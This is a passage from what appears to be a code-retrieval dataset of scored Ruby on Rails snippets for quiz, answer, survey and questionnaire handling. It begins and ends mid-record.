' ')}\\n\"\n end\n\n physical_exams += \"\\n\"\n end", "title": "" }, { "docid": "2008dbcbd498fd9553d5ee522bcb191a", "score": "0.5566316", "text": "def index\n @answers = Answer.all\n \n end", "title": "" }, { "docid": "d7830a3cdfe1d65df0e1bbe0873e51fb", "score": "0.55634695", "text": "def create\n \n @user_answer = UserAnswer.new(user_answer_params)\n count = 0\n \n #Loop through questions indefinitely\n respond_to do |format|\n if @user_answer.save\n @question = Question.where(id: @user_answer.question_id).first\n @quiz_id = @question.quiz_id\n @questions = Question.where(quiz_id: @quiz_id)\n @numquestions = @questions.count\n @quizzes = Quiz.where(id: @quiz_id)\n @lessonId = @quizzes.first.lesson_id\n\n if @question.questionNum < @numquestions\n @test = @questions.where('id > ?', @question.id).order(id: :asc).first\n\n format.html { redirect_to :controller=>'questions', :id => @test, :action=>'show', notice: 'User answer was successfully created.'}\n else\n #format.html { redirect_to :controller=>'questions', :id=>@questions.shuffle.first.id, :action=>'show' }\n format.html { redirect_to :controller=>'questions', :id=>@questions.first.id, :action=>'show' }\n end\n else\n format.html { render :new }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72afc9c4ec9e8f82327c3a9a11f2a068", "score": "0.5562722", "text": "def process_answers\n if self.answers.present?\n fields.each do |field|\n # remove nil values\n if field.field_type_checkbox?\n self.answers[field.id.to_s] = if self.answers[field.id.to_s].is_a?(String)\n JSON.parse(self.answers[field.id.to_s]).reject(&:blank?).uniq\n elsif self.answers[field.id.to_s].is_a?(Array)\n self.answers[field.id.to_s].reject(&:blank?).uniq\n end\n\n # Process to store attachment file\n elsif field.field_type_file?\n data = self.answers[field.id.to_s]\n if data.present?\n uploader = AttachmentUploader.new\n uploader.question_id = field.id.to_s\n uploader.form_id = form_id\n uploader.store!(data)\n self.answers[field.id.to_s] = uploader.url\n end\n end\n end\n end\n end", "title": "" }, { "docid": "b952f0299f67006fe62a90c09ef8ecf4", "score": "0.55582714", "text": "def hashed_fields_for_export\n raise InvalidArgument unless self.form\n\n hash = {}\n\n self.form.questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge({\n ip_address: \"IP Address\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n end", "title": "" }, { "docid": "79768f37539988b19269e5531289ad95", "score": "0.5556911", "text": "def index\n @m_answers = MAnswer.all\n end", "title": "" }, { "docid": "b5a2b4c23d633e1d3574a438c4421e61", "score": "0.5556769", "text": "def view_completed_question(count, answer,questionnaire_max)\n\t\thtml = '<big><b>Question '+count.to_s+\":</b> <I>\"+self.txt+\"</I></big><BR/><BR/>\"\n if !answer.answer.nil?\n\t\t html += '<TABLE CELLPADDING=\"5\"><TR><TD valign=\"top\"><B>Score:</B></TD><TD><FONT style=\"BACKGROUND-COLOR:gold\">'+answer.answer.to_s+'</FONT> out of <B>'+questionnaire_max.to_s+'</B></TD></TR>'\n else\n html += '<TABLE CELLPADDING=\"5\"><TR><TD valign=\"top\"><B>Score:</B></TD><TD><FONT style=\"BACKGROUND-COLOR:gold\">--</FONT> out of <B>'+questionnaire_max.to_s+'</B></TD></TR>'\n end\n\t\tif answer.comments != nil\n\t\t\thtml += '<TR><TD valign=\"top\"><B>Response:</B></TD><TD>' + answer.comments.gsub(\"<\", \"&lt;\").gsub(\">\", \"&gt;\").gsub(/\\n/, '<BR/>')\n\t\tend\n\t\thtml += '</TD></TR></TABLE><BR/>'\n\t\thtml.html_safe\n end", "title": "" }, { "docid": "2ea96861a1f746a628064b8ce29a7fcb", "score": "0.55538243", "text": "def new\n @question_id = (@exam_session.exam.questions.find :first,\n :offset => (@exam_session.current_question - 1)).id\n \n @exam_session.update_attribute(:updated_at, Time.now)\n \n @question = Question.find_by_id_and_return_xml_table(@question_id)\n \n @choices = { 'choiceA' => @question.choice_a,\n 'choiceB' => @question.choice_b,\n 'choiceC' => @question.choice_c,\n 'choiceD' => @question.choice_d,\n 'choiceE' => @question.choice_e,\n }\n end", "title": "" }, { "docid": "ab9c74a685f7a601299e4f6180a48856", "score": "0.55523825", "text": "def report\n \n end", "title": "" }, { "docid": "fb2cc66bea355089072deb1f9c37fa62", "score": "0.55515486", "text": "def create_report()\n report = <<STR_END\n#### STEPS TO REPRODUCE BUG ####\n\n#{@list_steps_text.get_value}\n\n\n#### DESCRIPTION OF BUG ####\n\n#{@description_text.get_value}\n\n--#{@reproduce_check.get_value}\n--#{@past_check.get_value}\n\n\n#### SESSION LOG ####\n\n#{@parent.log_text.get_value}\n\n\n--------------------------------------------------------------------------------\n#{IO.readlines($attr[:name]).join(\"\\n\") if $attr[:name]}\nSTR_END\n \n fname = \"bugs/#{Time.now.to_s.split(\" \").join(\"_\")}_#{$attr[:name].split(/[\\/\\\\]/).join(\"_\") if $attr[:name]}_bug\"\n File.open(fname, 'w') {|fout| fout.write(report)}\n prompt = MessageDialog.new(self, \"Bug report saved to file: #{fname}\\nPlease email this file to the developer!\",\n \"Bug Report Created\", OK)\n exit_dlg() if prompt.show_modal == ID_OK\n end", "title": "" }, { "docid": "185ab14a5cb8a77f2aad592dc59238c5", "score": "0.5548683", "text": "def show\n if session[:user_id] == @survey.author_id || @survey.published\n @survey_questions = @survey.survey_questions.order(:position)\n @survey_questions.each_with_index do |q, i|\n if q.is_boolean?\n @survey_questions[i].boolean_questions.build\n elsif q.is_short_answer?\n @survey_questions[i].short_answer_questions.build\n elsif q.is_long_answer?\n @survey_questions[i].long_answer_questions.build\n elsif q.is_dropdown?\n @survey_questions[i].dropdown_questions.build\n end\n end\n respond_to do |format|\n format.html\n format.csv { send_data @survey.to_csv, filename: \"survey_results-#{Date.today}.csv\"}\n end\n else\n redirect_to root_path, alert: \"That's not a valid survey.\"\n end\n\n\n end", "title": "" }, { "docid": "6081eef3ca43b3a9644a4d5792039f9f", "score": "0.554392", "text": "def create_quiz_report(course_id,quiz_id,quiz_report__report_type__,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :quiz_report__report_type__,\n :quiz_report__includes_all_versions__,\n :include,\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"quiz_id is required\" if quiz_id.nil?\n raise \"quiz_report__report_type__ is required\" if quiz_report__report_type__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :quiz_id => quiz_id,\n :quiz_report__report_type__ => quiz_report__report_type__\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/quizzes/{quiz_id}/reports\",\n :course_id => course_id,\n :quiz_id => quiz_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:post, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:post, path, query_params, form_params, headers)\n page_params_store(:post, path)\n QuizReport.new(response)\n end", "title": "" }, { "docid": "76a1ff69b9ac238511eb9539d3dd4435", "score": "0.554365", "text": "def create\n\t\tanswer = Answer.new answer_params\n\t\tanswer.doc = current_doc if current_doc\n\t\tanswer.save!\n\t\t\n\t\tredirect_to question_path(answer.question)\n\n\tend", "title": "" }, { "docid": "bc2a132ebb727d3bfdf58aaa611f502c", "score": "0.553492", "text": "def create\n\t@question = Question.new(params[:question])\n\t if @question.type.name==\"Matrix Type Question\"\n\t @question.answer=100\n\t end\n\t@questionnaire = Questionnaire.find(params[:questionnaire_id])\n\n\trespond_to do |format|\n\t if @question.save\n\t\t@questionnaire_question = QuestionnaireQuestion.new\n\t\t@questionnaire_question.questionnaire_id=@questionnaire.id\n\t\t@questionnaire_question.question_id=@question.id\n\t\t@questionnaire_question.save\n\n\t\ts=\"True\"\n\t\tif @question.type.name==\"True-False Question\"\n\t\t 2.times do |i|\n\t\t\t@option=Option.new\n\t\t\t@option.name=s\n\t\t\ts=\"False\"\n\t\t\t@option.question_id=@question.id\n\t\t\t@option.option_number=(i+1)\n\t\t\t@option.save\n\n\t\t end\n\t\tend\n\t\tif (@question.type.name==\"Open Ended Question\" || @question.type.name==\"True-False Question\") then\n\t\t format.html { redirect_to new_question_path(:questionnaire_id=>@questionnaire.id), :notice => 'Question was successfully created.' }\n\t\telse\n\t\t if (@question.type.name==\"Matrix Type Question\")\n\n\t\t\tformat.html { redirect_to :controller => :matrix, :action => 'index', :question_id=>@question.id, :notice => 'Question was successfully created.' }\n\t\t end\n\t\t format.html { redirect_to new_option_path(:question_id=>@question.id, :notice => 'Question was successfully created.') }\n\t\tend\n\t else\n\t\tformat.html { redirect_to :action => \"new\" ,:questionnaire_id=>@questionnaire.id}\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end", "title": "" }, { "docid": "1fa4c541af6bc5419881dd7262888a76", "score": "0.55329895", "text": "def emit_form(formdata: {})\n if formdata[JIRA] || formdata[CONFLUENCE]\n title = 'Update your JIRA and Confluence IDs (previously submitted)'\n submit_title = 'Update Your ID Mapping'\n else\n title = 'Enter your JIRA and Confluence IDs'\n submit_title = 'Submit Your ID Mapping'\n end\n _whimsy_panel(title, style: 'panel-success') do\n _form.form_horizontal method: 'post' do\n _div.form_group do\n _label.control_label.col_sm_3 'Do you have an Apache JIRA ID?', for: JIRAHAS\n _div.col_sm_9 do\n _select.form_control name: JIRAHAS, id: JIRAHAS, required: true do\n _option value: ''\n _option \"Yes - I have one JIRA ID\", value: 'y', selected: \"#{formdata[JIRAHAS] == 'y' ? 'selected': ''}\"\n _option \"No - I do not have a JIRA ID\", value: 'n', selected: \"#{formdata[JIRAHAS] == 'n' ? 'selected': ''}\"\n _option \"I use multiple JIRA IDs\", value: 'm', selected: \"#{formdata[JIRAHAS] == 'm' ? 'selected': ''}\"\n end\n end\n end\n emit_input(label: 'Enter your Apache JIRA ID (if you have one)', name: JIRA, required: false,\n value: \"#{formdata[JIRA]}\", \n helptext: \"The JIRA ID used on issues.apache.org (usually same as committer ID)\")\n emit_input(label: 'List any other JIRA IDs you personally use, one per line', name: JIRAOTHER, required: false,\n value: \"#{formdata[JIRAOTHER]}\",\n rows: 3, helptext: \"Remember: these should only be personal IDs you use, not project ones.\")\n \n _div.form_group do\n _label.control_label.col_sm_3 'Do you have an Apache Confluence ID?', for: CONFLUENCEHAS\n _div.col_sm_9 do\n _select.form_control name: CONFLUENCEHAS, id: CONFLUENCEHAS, required: true do\n _option value: ''\n _option \"Yes - I have one Confluence ID\", value: 'y', selected: \"#{formdata[CONFLUENCEHAS] == 'y' ? 'selected': ''}\"\n _option \"No - I do not have a Confluence ID\", value: 'n', selected: \"#{formdata[CONFLUENCEHAS] == 'n' ? 'selected': ''}\"\n _option \"I use multiple Confluence IDs\", value: 'm', selected: \"#{formdata[CONFLUENCEHAS] == 'm' ? 'selected': ''}\"\n end\n end\n end\n emit_input(label: 'Enter your Apache Confluence ID (if you have one)', name: CONFLUENCE, required: false,\n value: \"#{formdata[CONFLUENCE]}\", \n helptext: \"The Confluence ID used on cwiki.apache.org (usually same as committer ID)\")\n emit_input(label: 'List any other Confluence IDs you personally use, one per line', name: CONFLUENCEOTHER, required: false,\n value: \"#{formdata[CONFLUENCEOTHER]}\",\n rows: 3, helptext: \"Remember: these should only be personal IDs you use, not project ones.\")\n \n emit_input(label: 'Your Apache Committer ID', name: COMMITTERID, readonly: true,\n value: formdata[COMMITTERID], icon: 'glyphicon-user', iconlabel: 'Committer ID')\n _div.col_sm_offset_3.col_sm_9 do\n _input.btn.btn_default type: 'submit', value: submit_title\n end\n end\n end\nend", "title": "" }, { "docid": "41001b53b1890b0c2af88606caecd5ef", "score": "0.5523967", "text": "def create\n \n @dquestion = @dtest.dquestions.new(params[:dquestion])\n\n respond_to do |format|\n if @dquestion.save\n # @dquestion.count_answer\n format.html { redirect_to dtest_dquestions_url(@dtest) }\n format.js\n else\n \n format.html { redirect_to dtests_url }\n end\n\n end\n #(@dquestion.count_answer).times { |i| Danswer.create!(answer_text: 'Answer ' + i.to_s, dquestion_id: @dquestion.id)}\n\n end", "title": "" }, { "docid": "44259286a8744096a848813eae664845", "score": "0.552262", "text": "def answer_show\n @questionnaire = Questionnaire.find(params[:id])\n answer = @questionnaire.answer_questionnaires.build\n render 'answer_show'\n end", "title": "" }, { "docid": "6d8dbfa51077d830ba1b1a23e9b18a68", "score": "0.55072445", "text": "def index\n @answers = Answer.all\n end", "title": "" }, { "docid": "6d8dbfa51077d830ba1b1a23e9b18a68", "score": "0.55072445", "text": "def index\n @answers = Answer.all\n end", "title": "" }, { "docid": "6d8dbfa51077d830ba1b1a23e9b18a68", "score": "0.55072445", "text": "def index\n @answers = Answer.all\n end", "title": "" }, { "docid": "6d8dbfa51077d830ba1b1a23e9b18a68", "score": "0.55072445", "text": "def index\n @answers = Answer.all\n end", "title": "" }, { "docid": "6d8dbfa51077d830ba1b1a23e9b18a68", "score": "0.55072445", "text": "def index\n @answers = Answer.all\n end", "title": "" }, { "docid": "1393cf3945fc68b58901528cc22ad7d3", "score": "0.55052656", "text": "def create\n #p params\n if params[:results].present? && params[:results][:answers].present?\n answers = params[:results][:answers] \n params[:results].delete :answers\n #params[:aspects]=params[:aspects]+1\n end\n\n #p \"Array?: \" + params[:results][:aspects].is_a?(Array).to_s\n #p \"String?: \" + params[:results][:aspects].is_a?(String).to_s\n \n @results = Result.create(params[:results])\n if answers\n answers.each do |answer|\n @results.answers.build(answer)\n end\n end\n\n if @results.save\n\n # @results.send_email\n @results.delay.send_email\n end\n\n respond_with(@results)\n end", "title": "" }, { "docid": "f44311b96df4c68fab6572c1d04fef80", "score": "0.5497156", "text": "def index\n @answer_records = AnswerRecord.all \n end", "title": "" }, { "docid": "b65da8d893eafa566af0fcf9e680d8c6", "score": "0.5488957", "text": "def create\n\t\t@question = Question.find(params[:question_id])\n\t\t@answer = @question.answers.build(answer_params)\n\t\t@answer.user = current_user\n\t\tif @answer.save\n\t\t\tflash[:success] = \"answer submitted\"\n\t\t\tredirect_to root_url\n\t\telse\n\t\t\tflash[:danger] = \"some error occured\"\n\t\t\trender 'new'\n\t\tend\n \n end", "title": "" }, { "docid": "8fe9167d05a0608ca950ccbf126170ba", "score": "0.5488012", "text": "def new\n @answer = @question.answers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end", "title": "" }, { "docid": "e534d61fb4d7344ae500f8fa037fe7a7", "score": "0.5482328", "text": "def create\n @question = Question.find(params[:question_id])\n @question_report = QuestionReport.new(question_report_params)\n @question_report.question = @question\n respond_to do |format|\n if @question_report.save\n format.html { redirect_to @question_report.question, notice: 'La denuncia fue realizada!' }\n format.json { render :show, status: :created, location: @question_report }\n else\n format.html { render :new }\n format.json { render json: @question_report.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec1344f2f751e14b9b2ef55f51402dd6", "score": "0.5479748", "text": "def answer\n params[:answers].each do |question_id, value|\n answer = Answer.find_or_initialize_by_question_id_and_user_id(question_id, current_user.id)\n answer.content = value[:content]\n answer.save\n end if params[:answers]\n\n survey = Survey.find(params[:id])\n redirect_to survey.next_url || root_url, :notice => survey.confirmation\n end", "title": "" }, { "docid": "1ec550312e749cd38d9f7bbdebed44d5", "score": "0.5469055", "text": "def create\n @answer = Answer.new(answer_params)\n\n @answer.question_id = flash[:question]\n @answer.student = current_student\n\n respond_to do |format|\n if @answer.save\n @question = @answer.question\n\n @answer.res1 = 0\n @answer.res2 = 0\n @answer.res3 = 0\n @answer.res4 = 0\n @answer.res5 = 0\n\n if @answer.ans1 == @question.ans1\n @answer.res1 = 1\n end\n if @answer.ans2 == @question.ans2\n @answer.res2 = 1\n end\n if @answer.ans3 == @question.ans3\n @answer.res3 = 1\n end\n if @answer.ans4 == @question.ans4\n @answer.res4 = 1\n end\n if @answer.ans5 == @question.ans5\n @answer.res5 = 1\n end\n\n @answer.total_res = @answer.res1 + @answer.res2 + @answer.res3 + @answer.res4 + @answer.res5\n @answer.save\n\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d4d8c1e7a6293a83fa8668c49e1b9de", "score": "0.5458936", "text": "def index\n @question_reports = QuestionReport.all\n end", "title": "" }, { "docid": "c6a0aface575e7b0439a814766d79128", "score": "0.54584825", "text": "def answers\n [].tap do |a|\n a << teaching_maths_or_physics\n a << current_school\n a << initial_teacher_training_subject\n a << initial_teacher_training_subject_specialism if eligibility.initial_teacher_training_subject_specialism.present?\n a << has_uk_maths_or_physics_degree if eligibility.has_uk_maths_or_physics_degree.present?\n a << qts_award_year\n a << employed_as_supply_teacher\n a << has_entire_term_contract if eligibility.employed_as_supply_teacher?\n a << employed_directly if eligibility.employed_as_supply_teacher?\n a << disciplinary_action\n a << formal_performance_action\n end\n end", "title": "" }, { "docid": "feff298b6a07f96b3bb278089fc3025c", "score": "0.54582834", "text": "def index\n # @answers = Answer.all\n @answer = current_user.answers.build(answer_params)\n @answer.save\n end", "title": "" }, { "docid": "d1dbd2b8e5ad8fdee28d65280a8ed520", "score": "0.54569846", "text": "def show_explanation\n @room = current_user.room\n @question = @room.question\n return if !@room.show_explanation?\n last_choice = current_user.histories.last.choice if !current_user.histories.empty?\n current_user_choice = (last_choice and last_choice.question_id==@question.id) ? last_choice : nil\n\n puts \"User #{current_user.id} chose #{current_user_choice.id if current_user_choice}\"\n @choices = @question.choices.collect do |choice| {\n data: choice,\n result: if choice.correct\n \"correct\"\n elsif current_user_choice and choice.id==current_user_choice.id\n \"selected\"\n end,\n selected: @room.active_users.all.select {|u| u.histories.last.choice_id == choice.id if !u.histories.empty?}\n }\n end\n messages = {\n correct: \"Congratulations! You got the right answer.\",\n incorrect: \"Sorry, you got the wrong answer. See explanation below.\",\n blank: \"You didn't select an answer. See explanation below.\"\n }\n styles = {\n correct: \"alert alert-success\",\n incorrect: \"alert alert-error\",\n blank: \"alert\"\n }\n # If there's a choice_id (user chose a choice) and that choice is correct\n if current_user.status != 0\n #If user didn't select answer\n if current_user_choice==nil\n @change= current_user.lose_to!(@question)\n @message = messages[:blank]\n @style = styles[:blank]\n #If user chose an incorrect answer\n elsif !current_user_choice.correct?\n @change = current_user.lose_to!(@question)\n @message = messages[:incorrect]\n @style = styles[:incorrect]\n else\n @change = current_user.win_to!(@question)\n @message = messages[:correct]\n @style = styles[:correct]\n end\n end\n render partial: \"show_explanation\"\n end", "title": "" }, { "docid": "68a47ee6d0376714c0ead236c035821a", "score": "0.5454091", "text": "def create_steps(show_correct_answers_option)\n @@steps = []\n questions_tests.each do |variable|\n @@steps << 'question'\n @@steps << 'show_correct' if show_correct_answers_option\n end\n @@steps << 'evaluate'\n end", "title": "" }, { "docid": "b0cb5d2c0151b8a0b31c15d53f99b577", "score": "0.54533976", "text": "def add_student_voice_surveys\n ImportedForm.create!({\n \"educator_id\"=>shs_jodi.id,\n \"student_id\"=>shs_freshman_mari.id,\n 'form_timestamp' => time_now - 2.days,\n \"form_key\"=>\"shs_what_i_want_my_teacher_to_know_mid_year\",\n 'form_url' => 'https://example.com/mid_year_survey_form_url',\n 'form_json' => {\n \"What was the high point for you in school this year so far?\"=>\"A high point has been my grade in Biology since I had to work a lot for it\",\n \"I am proud that I...\"=>\"Have good grades in my classes\",\n \"My best qualities are...\"=>\"helping others when they don't know how to do homework assignments\",\n \"My activities and interests outside of school are...\"=>\"cheering\",\n \"I get nervous or stressed in school when...\"=>\"I get a low grade on an assignment that I thought I would do well on\",\n \"I learn best when my teachers...\"=>\"show me each step of what I have to do\"\n }\n })\n ImportedForm.create!({\n \"educator_id\"=>shs_jodi.id,\n \"student_id\"=>shs_freshman_mari.id,\n 'form_timestamp' => time_now - 2.days,\n \"form_key\"=>\"shs_q2_self_reflection\",\n 'form_url' => 'https://example.com/q2_self_reflection_form_url',\n 'form_json' => {\n \"What classes are you doing well in?\"=>\"Computer Science, French\",\n \"Why are you doing well in those classes?\"=>\"I make time in my afternoon each day for doing homework and stick to it\",\n \"What courses are you struggling in?\"=>\"Nothing really\",\n \"Why are you struggling in those courses?\"=>\"I have to work really hard \",\n \"In the classes that you are struggling in, how can your teachers support you so that your grades, experience, work load, etc, improve?\"=>\"Change the way homework works, it's too much\",\n \"When you are struggling, who do you go to for support, encouragement, advice, etc?\"=>\"Being able to stay after school and work with teachers when I need help\",\n \"At the end of the quarter 3, what would make you most proud of your accomplishments in your course?\"=>\"Keeping grades high in all classes since I'm worried about college\",\n \"What other information is important for your teachers to know so that we can support you and your learning? (For example, tutor, mentor, before school HW help, study group, etc)\"=>\"Help in the morning before school\"\n }\n })\n end", "title": "" }, { "docid": "38407c5d616bf6919504af14b61e7762", "score": "0.5448467", "text": "def create\n @feedback_form = FeedbackForm.new(feedback_form_params)\n @workshop = Workshop.find(params[:workshop_id])\n @question_type_1 = Question.where('question_type_id = ?', 1)\n @question_type_2 = Question.where('question_type_id = ?', 2)\n @answer = Answer.new\n respond_to do |format|\n if @feedback_form.save\n format.html { redirect_to @feedback_form, notice: 'Feedback form was successfully created.' }\n format.json { render :show, status: :created, location: @feedback_form }\n else\n format.html { render :new }\n format.json { render json: @feedback_form.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "577bf7cd4f8ff1aa2602ab5620b71af2", "score": "0.5446618", "text": "def generate_questionnaire_response_pdf(questionnaire_response_id)\n snapshot = HealthQuest::QuestionnaireResponse\n .where(user_uuid: user.uuid, questionnaire_response_id: questionnaire_response_id.to_s)\n .first\n appointment = lighthouse_appointment_service.get(snapshot.appointment_id)\n loc_id = appointment.resource.participant.first.actor.reference.match(ID_MATCHER)[1]\n location = location_service.get(loc_id)\n org_id = location.resource.managingOrganization.reference.match(ID_MATCHER)[1]\n org = organization_service.get(org_id)\n\n HealthQuest::QuestionnaireManager::PdfGenerator::Composer\n .synthesize(questionnaire_response: snapshot, appointment:, location:, org:)\n .document\n .render\n end", "title": "" }, { "docid": "b5c7668c930a75f50023a57b74520d0d", "score": "0.54439193", "text": "def create\n @answer = Admin::Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n flash[:notice] = 'Admin::Answer was successfully created.'\n format.html { redirect_to(@answer) }\n format.xml { render :xml => @answer, :status => :created, :location => @answer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b134a7af20954f0ab60c82dbe9013dfb", "score": "0.5437747", "text": "def index\n @answers=Answer.all\n end", "title": "" }, { "docid": "d941a4e2db699a66558b50a9db5bb065", "score": "0.5432998", "text": "def answer_options(question)\n body = []\n today = question[:include_today].present? ? 0 : 1\n from_days_ago = question[:from_days_ago]\n date_format = question[:date_format].presence || DATE_FORMAT\n from_days_ago.downto(today) do |days_ago|\n date = days_ago.days.ago\n next if [6, 0].include?(date.wday) && question[:exclude_weekends].present?\n\n formatted_date = I18n.l(date, locale: question[:locale], format: date_format)\n option = {\n title: formatted_date,\n value: I18n.l(date, locale: :en, format: DATE_FORMAT_BACKEND)\n }\n option[:shows_questions] = question[:shows_questions] if question[:shows_questions].present?\n option[:hides_questions] = question[:hides_questions] if question[:hides_questions].present?\n if question[:morning_and_afternoon]\n option[:title] = \"#{formatted_date} #{I18n.t('time.am', locale: question[:locale])}\"\n option[:value] = I18n.l(date, locale: :en, format: DATE_FORMAT_BACKEND_AM)\n end\n body << days_option_body(question, option.merge(raw: option.deep_dup))\n next unless question[:morning_and_afternoon]\n\n new_option = option.merge(title: \"#{formatted_date} #{I18n.t('time.pm', locale: question[:locale])}\",\n value: I18n.l(date, locale: :en, format: DATE_FORMAT_BACKEND_PM))\n body << days_option_body(question, new_option.merge(raw: new_option.deep_dup))\n end\n safe_join(body)\n end", "title": "" }, { "docid": "32f591c89d34648187a83950288f9f4a", "score": "0.5428996", "text": "def edit_form\n\t\tnewform = \"\"\n\t\titem_text = question_items.first.text #\n\t\tanswer_item = (self.answer_item.nil? or (self.answer_item =~ /\\d+([a-z]+)/).nil?) ? \"\" : \"\\t\" + $1 + \". \"\n\t\tself.question_items.each do |item|\n\t\t\tnewform = if item.position==1\n\t\t\t\tdiv_item( answer_item + item.text, \"itemquestiontext span-9\")\n\t\t\telse\n\t\t\t\tdiv_item( item_text, \"itemquestiontext span-9\")\n\t\t\tend\n\t\tend\n\t\tnewform\n\tend", "title": "" }, { "docid": "6363ca214c025903d0c53375d87403b4", "score": "0.54289", "text": "def index\n @question_answers = QuestionAnswer.all\n end", "title": "" }, { "docid": "e5532535f75559720a24776a24be6155", "score": "0.54234934", "text": "def generate_questions\n logger.info 'Generating demo question...'\n demo = build_random_question number_of_goods: 3, duration: Question::PUBLIC_TIME_LIMIT\n demo.instruction = Instruction.find_by_number(0)\n demo.save\n\n logger.info 'Assigning demo question to users current_question'\n update_column(:current_question_id, demo.id)\n\n logger.info 'Generating question 1'\n question1 = build_random_question number_of_goods: 3, duration: Question::PUBLIC_TIME_LIMIT\n question1.instruction = Instruction.find_by_number(1)\n question1.save\n\n logger.info 'Generating question 2'\n question2 = build_random_question number_of_goods: 3, duration: Question::PUBLIC_TIME_LIMIT\n question2.instruction = Instruction.find_by_number(1)\n question2.save\n\n logger.info 'Generating question 3'\n question3 = build_random_question number_of_goods: 4, duration: Question::PUBLIC_TIME_LIMIT\n question3.instruction = Instruction.find_by_number(2)\n question3.save\n\n logger.info 'Generating question 4'\n question4 = build_random_question number_of_goods: 4, duration: Question::PUBLIC_TIME_LIMIT\n question4.instruction = Instruction.find_by_number(2)\n question4.save\n\n logger.info 'Generating question 5'\n question5 = build_random_question number_of_goods: 5, duration: Question::PUBLIC_TIME_LIMIT\n question5.instruction = Instruction.find_by_number(3)\n #question3.display_formula = true (taking out the formulas)\n question5.save\n\n logger.info 'Generating question 6'\n question6 = build_random_question number_of_goods: 5, duration: Question::PUBLIC_TIME_LIMIT\n question6.instruction = Instruction.find_by_number(3)\n #question3.display_formula = true (taking out the formulas)\n question6.save\n\n logger.info 'Generating question 7'\n question7 = build_random_question number_of_goods: 3, duration: BetaRandom.get_seconds\n question7.instruction = Instruction.find_by_number(4)\n question7.display_timer = false\n #question4.display_formula = true\n question7.save\n\n logger.info 'Generating question 8'\n question8 = build_random_question number_of_goods: 3, duration: BetaRandom.get_seconds\n question8.instruction = Instruction.find_by_number(4)\n question8.display_timer = false\n #question4.display_formula = true\n question8.save\n\n logger.info 'Generating question 9'\n question9 = build_random_question number_of_goods: 4, duration: BetaRandom.get_seconds\n question9.instruction = Instruction.find_by_number(5)\n question9.display_timer = false\n question9.save\n\n logger.info 'Generating question 10'\n question10 = build_random_question number_of_goods: 4, duration: BetaRandom.get_seconds\n question10.instruction = Instruction.find_by_number(5)\n question10.display_timer = false\n question10.save\n\n logger.info 'Generating question 11'\n question11 = build_random_question number_of_goods: 5, duration: BetaRandom.get_seconds\n question11.instruction = Instruction.find_by_number(6)\n question11.display_timer = false\n question11.save\n\n logger.info 'Generating question 12'\n question12 = build_random_question number_of_goods: 5, duration: BetaRandom.get_seconds\n question12.instruction = Instruction.find_by_number(6)\n question12.display_timer = false\n question12.save\n\n logger.info 'Choosing random question as the question that is judged'\n random_question_id = scorable_questions.sample.id\n update_column :chosen_question_id, random_question_id\n\n shuffle_scorable_questions\n end", "title": "" }, { "docid": "addfbe9eab6991dd97f97b1c450d59d9", "score": "0.54128057", "text": "def render_answer\n request('answers/render')\n end", "title": "" } ]
b80ab587fe661230334da86bbf8a747e
Records the ending of a user's involvement with a particular ministry
[ { "docid": "2f0205e95796efda205d49a4e4dfb60e", "score": "0.4889171", "text": "def destroy\n @person = Person.find(params[:person_id])\n if @me == @person || authorized?(:new, :people)\n @ministry_involvement = MinistryInvolvement.find(params[:id])\n @ministry_involvement.update_attribute(:end_date, Time.now)\n\n respond_to do |format|\n format.xml { head :ok }\n format.js\n end\n else\n respond_to do |format|\n format.xml { head :ok }\n format.js do \n render :update do |page|\n page.hide('spinner')\n end\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "a80f1e78dc8b2fdf289893fecfceb438", "score": "0.5732105", "text": "def send_phase_finish_reminders!\n PhaseFinishReminder.notify_collaborators_of_challenges(Challenge.active, ChallengeMailer)\n end", "title": "" }, { "docid": "36a49983237237df89c85bc1ea9b183e", "score": "0.5722329", "text": "def enterEndTime\n\t\t@allStudents = @tutorial.users.where(:role => 0)\n\t\t@tid = @tutorial.id\n\t\t@endTime = Time.now.to_time.strftime(\"%H:%M:%S\")\n\t\t@allStudents.each do |s|\n\t\t\t@sid = s.id\n\t\t\t@attendance = s.attendance.last\n\t\t\t@attendance.update(:tut_end_time => @endTime)\n\t\t\t@attendance.save\n\t\tend\n\t\thead :no_content\n\tend", "title": "" }, { "docid": "41bcfd182c837526efddb86782f7d3da", "score": "0.5709765", "text": "def end(user_or_email)\n if user_or_email.is_a? String\n self.closed_by_email = user_or_email\n elsif user_or_email.is_a? Fixnum\n self.closed_by_id = user_or_email\n else\n self.closed_by_id = user_or_email.try(:id)\n end\n self.support_ended_at = DateTime.current\n self.active = false\n save\n end", "title": "" }, { "docid": "84cb609f14608def4f01d97c49328077", "score": "0.56529945", "text": "def surveyor_finish\n if @response_set.participant\n finish_off_participant\n else\n @response_set.person\n end\n end", "title": "" }, { "docid": "878f8a520b8f714f3983a6ee382ff37e", "score": "0.56498814", "text": "def send_end\n self.server.api.end_meeting(self.meetingid, self.moderator_password)\n end", "title": "" }, { "docid": "b531a912254b5e77c9eaf7b8f2ae7fd0", "score": "0.55041534", "text": "def end\n @results_msgs = 'fail'\n\n #for single user\n unless params[:user_id].nil?\n toEnd = 